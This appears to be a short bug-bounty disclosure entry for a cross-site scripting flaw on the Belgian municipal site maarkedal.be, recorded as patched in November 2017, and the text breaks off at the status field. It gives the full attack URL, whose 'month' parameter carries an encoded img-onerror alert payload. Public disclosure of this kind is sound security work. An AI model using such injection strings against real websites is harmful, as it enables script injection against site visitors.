maarkedal.be XSS vulnerability

Vulnerable URL: http://www.maarkedal.be/index.php?month=7%27%22--!%3E%3Cimg%20src=x%20onerror=alert%28%22openbugbounty%22%29%3E=8=2016 Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 19:32 GMT Vulnerability type:| XSS Vulnerability status:|...